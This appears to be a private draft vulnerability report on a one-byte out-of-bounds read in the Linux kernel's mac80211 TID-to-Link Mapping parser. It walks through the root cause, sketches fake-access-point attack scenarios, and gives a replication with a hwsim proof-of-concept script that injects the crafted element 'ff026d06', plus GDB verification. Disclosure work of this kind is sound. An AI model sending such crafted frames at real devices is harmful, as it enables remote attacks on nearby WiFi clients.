PWNO-0032 (Private Draft)
This is a one-byte out-of-bounds (OOB) read in the Linux kernel's WiFi/mac80211 subsystem, triggered when parsing TTLM (TID-to-Link Mapping) elements in 802.11be (WiFi 7/EHT) management frames.
ieee80211_parse_adv_t2l() reads one byte from ttlm->optional before confirming that any optional bytes exist. The TTLM length validator explicitly allows a minimal element with only the control byte when DEF_LINK_MAP is set. That combination gives a remote, over‑the‑air, one‑byte out‑of‑bounds read in mac80211 during association response and beacon processing.
Root Cause
TTLM element structure is defined:
* struct ieee80211_ttlm_elem - TID-To-Link Mapping element
*
* Defined in section 9.4.2.314 in P802.11be_D4
*
* @control: the first part of control field
* @optional: the second part of control field
*/
struct ieee80211_ttlm_elem {
u8 control;
u8 optional[];
} __packed;The structure has:
- 1 byte for control (always required)
- 0+ bytes in
optional[](a flexible array member: can have zero elements!)
The validator function explicitly permits zero optional bytes when DEF_LINK_MAP is set:
static inline bool ieee80211_tid_to_link_map_size_ok(const u8 *data, size_t len)
{
const struct ieee80211_ttlm_elem *t2l = (const void *)data;
u8 control, fixed = sizeof(*t2l), elem_len = 0;
if (len < fixed)
return false;
control = t2l->control;
if (control & IEEE80211_TTLM_CONTROL_SWITCH_TIME_PRESENT)
elem_len += 2;
if (control & IEEE80211_TTLM_CONTROL_EXPECTED_DUR_PRESENT)
elem_len += 3;
// :1084
if (!(control & IEEE80211_TTLM_CONTROL_DEF_LINK_MAP)) {
u8 bm_size;
elem_len += 1;
if (len < fixed + elem_len)
return false;
if (control & IEEE80211_TTLM_CONTROL_LINK_MAP_SIZE)
bm_size = 1;
else
bm_size = 2;
elem_len += hweight8(t2l->optional[0]) * bm_size;
}
// :1097
return len >= fixed + elem_len;
}Look at line 1084-1097. The extra byte (elem_len += 1) and the access to t2l->optional[0] only happen when DEF_LINK_MAP is NOT set. When DEF_LINK_MAP is set, the validator skips this entire block, meaning:
elem_lenstays at 0fixed=sizeof(*t2l)= 1 (just the control byte)- The check
len >= fixed + elem_lenmeanslen >= 1is valid
This results in a TTLM element with only the control byte passes validation.
Looking at the ieee80211_parse_adv_t2l parser:
static int
ieee80211_parse_adv_t2l(struct ieee80211_sub_if_data *sdata,
const struct ieee80211_ttlm_elem *ttlm,
struct ieee80211_adv_ttlm_info *ttlm_info)
{
/* The element size was already validated in
* ieee80211_tid_to_link_map_size_ok()
*/
u8 control, link_map_presence, map_size, tid;
u8 *pos;
memset(ttlm_info, 0, sizeof(*ttlm_info));
pos = (void *)ttlm->optional; // pos points to optional[]
control = ttlm->control;
if ((control & IEEE80211_TTLM_CONTROL_DIRECTION) !=
IEEE80211_TTLM_DIRECTION_BOTH) {
sdata_info(sdata, "Invalid advertised T2L map direction\n");
return -EINVAL;
}
link_map_presence = *pos; // reads *optional UNCONDITIONALLY
pos++;
if (control & IEEE80211_TTLM_CONTROL_SWITCH_TIME_PRESENT) {
ttlm_info->switch_time = get_unaligned_le16(pos);
// ...
pos += 2;
}
if (control & IEEE80211_TTLM_CONTROL_EXPECTED_DUR_PRESENT) {
ttlm_info->duration = pos[0] | pos[1] << 8 | pos[2] << 16;
pos += 3;
}
if (control & IEEE80211_TTLM_CONTROL_DEF_LINK_MAP) {
ttlm_info->map = 0xffff; // returns early, value NOT used
return 0;
}
// ... rest of function uses link_map_presenceFrom :6193 , you can see that read (link_map_presence = *pos;) happens before checking if DEF_LINK_MAP is set. But when DEF_LINK_MAP is set, in which:
- The validator allows zero optional bytes
ttlm->optionalpoints to the end of the element- Reading
*posis an out-of-bounds read

When the parser does link_map_presence = *pos, it reads one byte past the element boundary.
Exploitability
This can be reached remote, over-the-air (WiFi):
Association Response:
cif (elems->ttlm_num > 1) { sdata_info(sdata, "More than one advertised TTLM in association response\n"); goto out_err; } else if (elems->ttlm_num == 1) { if (ieee80211_parse_adv_t2l(sdata, elems->ttlm[0], &sdata->u.mgd.ttlm_info) || // ...Beacon Processing:
cfor (i = 0; i < elems->ttlm_num; i++) { struct ieee80211_adv_ttlm_info ttlm_info; u32 res; res = ieee80211_parse_adv_t2l(sdata, elems->ttlm[i], &ttlm_info); if (res) { __ieee80211_disconnect(sdata); return; }
You can craft a malicious management frame with a minimal TTLM element to trigger this bug. In such way:
- Attack via Beacon:
- Attacker sets up a fake AP broadcasting beacons with the malicious TTLM element
- Any device that's already connected (or scanning) and processes that beacon triggers the bug
- Victim doesn't even need to actively connect
- via Association Response:
- Attacker sets up a fake AP (maybe with a common SSID like "Free WiFi" or spoofing a known network)
- When victim's device tries to connect, the fake AP sends an association response with the crafted TTLM element
- Bug triggers during connection handshake
Replication
- Host prep (repo + kernel build)
1.1:
cd /repo/linux1.2: Ensure kernel config includes:
CONFIG_KASAN=yCONFIG_MAC80211_HWSIM=y(built-in is OK)CONFIG_CFG80211=y,CONFIG_MAC80211=yCONFIG_DEBUG_INFO=y(for GDB symbols) 1.3: Build kernel + modules as you normally do (example, adapt to your tree):make O=out olddefconfigmake O=out -j$(nproc)make O=out modules_install INSTALL_MOD_PATH=...(if you use modules) 1.4: Build/prepare the VM disk (qcow2) with the new kernel installed.- Example: use existing
kasan.qcow2in/repo/linux/.
Boot QEMU with KASAN + hwsim 2.1: Start QEMU with kernel and hwsim params (example; adapt paths):
append "root=/dev/vda rw console=ttyS0 nokaslr kasan_multi_shot=1 mac80211_hwsim.mlo=1 mac80211_hwsim.radios=2 mac80211_hwsim.regtest=4"2.2: Ensure you have a serial console and GDB stub (example):nographic -s -S2.3: From the guest, confirm the cmdline and KASAN:dmesg | grep -i kasan | head -n 20
Start GDB (host) 3.1:
gdb /repo/linux/vmlinux3.2:target remote :12343.3: Set breakpoints (read-only; no forcing):b ieee80211_parse_adv_t2lb ieee80211_assoc_successb ieee80211_process_adv_ttlm3.4:c(continue)
Guest: verify hwsim baseline 4.1:
ls /sys/class/mac80211_hwsim- Expect
hwsim0andhwsim1if you booted withradios=2. 4.2:iw dev - Expect initial wlan interfaces (often wlan0/wlan1). 4.3: Do not force any kernel memory values in GDB.
- Expect
Guest: start global hostapd/wpa_supplicant 5.1: Clean stale ctrl sockets:
rm -rf /var/run/hostapd /var/run/hostapd-global /var/run/wpa_supplicant /var/run/wpa_supplicant-global*5.2: Start global hostapd (stdout log):nohup /root/hostap/hostapd/hostapd -g /var/run/hostapd-global -dd > /root/hostapd-global.log 2>&1 &5.3: Start global wpa_supplicant:/root/hostap/wpa_supplicant/wpa_supplicant -g /var/run/wpa_supplicant-global -dd -f /root/wpa-global.log -B
Guest: run the PoC MLO script (this triggers TTLM parsing) 6.1: Use this exact script (OWE worked reliably for MLO):
pythonimport sys, time sys.path.insert(0, '/root/hostap/tests/hwsim') sys.path.insert(0, '/root/hostap/wpaspy') from hwsim import HWSimRadio import hostapd from wpasupplicant import WpaSupplicant import wpaspy ssid='ttlm-mlo' ttlm_ie='ff026d06' # EID=EXT, len=2, ext_id=TTLM, control=0x06 (BOTH+DEF_LINK_MAP) def ap_params(ssid, channel): params = hostapd.wpa2_params(ssid=ssid, passphrase=None, wpa_key_mgmt='OWE', ieee80211w='2') params['ieee80211n']='1' params['ieee80211ax']='1' params['ieee80211be']='1' params['hw_mode']='g' params['channel']=str(channel) params['group_mgmt_cipher']='AES-128-CMAC' params['beacon_prot']='1' params['vendor_elements']=ttlm_ie params['assocresp_elements']=ttlm_ie return params with HWSimRadio(use_mlo=True, use_chanctx=True) as (hapd0_radio, hapd0_iface), \ HWSimRadio(use_mlo=True, use_chanctx=True) as (hapd1_radio, hapd1_iface), \ HWSimRadio(use_mlo=True, use_chanctx=True) as (wpas_radio, wpas_iface): print('AP ifaces:', hapd0_iface, hapd1_iface, 'STA iface:', wpas_iface) params0 = ap_params(ssid, 1) hapd0 = hostapd.add_mld_link(hapd0_iface, 0, params0) hapd0.enable() hapd0.wait_event(['AP-ENABLED'], timeout=5) params1 = ap_params(ssid, 6) hapd1 = hostapd.add_mld_link(hapd0_iface, 1, params1) hapd1.enable() hapd1.wait_event(['AP-ENABLED'], timeout=5) ctrl = wpaspy.Ctrl('/var/run/wpa_supplicant-global') res = ctrl.request(f"INTERFACE_ADD {wpas_iface}\t\tnl80211\tDIR=/var/run/wpa_supplicant GROUP=adm") print('INTERFACE_ADD:', res) wpas = WpaSupplicant(ifname=wpas_iface, global_iface='/var/run/wpa_supplicant-global') wpas.connect(ssid, key_mgmt='OWE', ieee80211w='2', scan_freq='2412 2437') time.sleep(2) print(wpas.request('MLO_STATUS')) print(wpas.request('STATUS')) time.sleep(30)6.2: This creates wlan2/wlan3 (AP links) and wlan4 (STA), sets TTLM in beacon + assocresp, and establishes MLO.
GDB: confirm the association path (no forcing) 7.1: When
ieee80211_assoc_successhits:p/x sdata->vif.valid_links(should be non‑zero)p elems->ttlm_num(should be 1)p elems->ttlm[0]7.2:cto reachieee80211_parse_adv_t2lnaturally.
GDB: prove the OOB read (read‑only) 8.1: At
ieee80211_parse_adv_t2l:p/x ttlmx/8bx ttlm-3→ expectff 02 6d 06 ...p/x ttlm->control→0x6p/x ttlm->optional8.2: Compute element end:set $len = *((unsigned char*)ttlm-2)set $end = (unsigned char*)ttlm - 1 + $lenp/x $len→0x2p/x $endp/x ttlm->optionalp $end == ttlm->optional→18.3: This showsttlm->optional== end of element, soposreads past the element boundary.
Optional: beacon path 9.1: Let GDB continue;
ieee80211_process_adv_ttlmandieee80211_parse_adv_t2lalso trigger from beacons.Trial & error (what went wrong and how I fixed it) 10.1: Hostapd enable failure
- Error:
Failed to enable hostapd interface wlan2 - Fix: restart global daemons and remove stale
/var/run/*sockets; then retry. 10.2: hostapd log file missing withf hostapd-global.logdidn’t exist when launched withf- Fix: run with
nohup … > /root/hostapd-global.log 2>&1 &10.3:mac80211_hwsimnot showing inlsmod - Built-in module → no
lsmodentry - Confirm via
/sys/class/mac80211_hwsimand kernel cmdline. 10.4: Only two hwsim radios mac80211_hwsim.radios=2(from cmdline)- The script works because HWSimRadio creates temporary interfaces; don’t assume 3 persistent radios. 10.5: WPA interface add flakiness
WpaSupplicant.interface_add()sometimes returns FAIL- Fix: use
wpaspy.Ctrl(...).request("INTERFACE_ADD ...")directly and proceed if OK.
- Error:
Final validation checklist 11.1:
sdata->vif.valid_linksnon‑zero at assoc. 11.2:elems->ttlm_num == 1andttlmpoints to element withff 02 6d 06. 11.3:ttlm->optional == end(computed from len). 11.4:ieee80211_parse_adv_t2lreadsposbefore DEF_LINK_MAP check.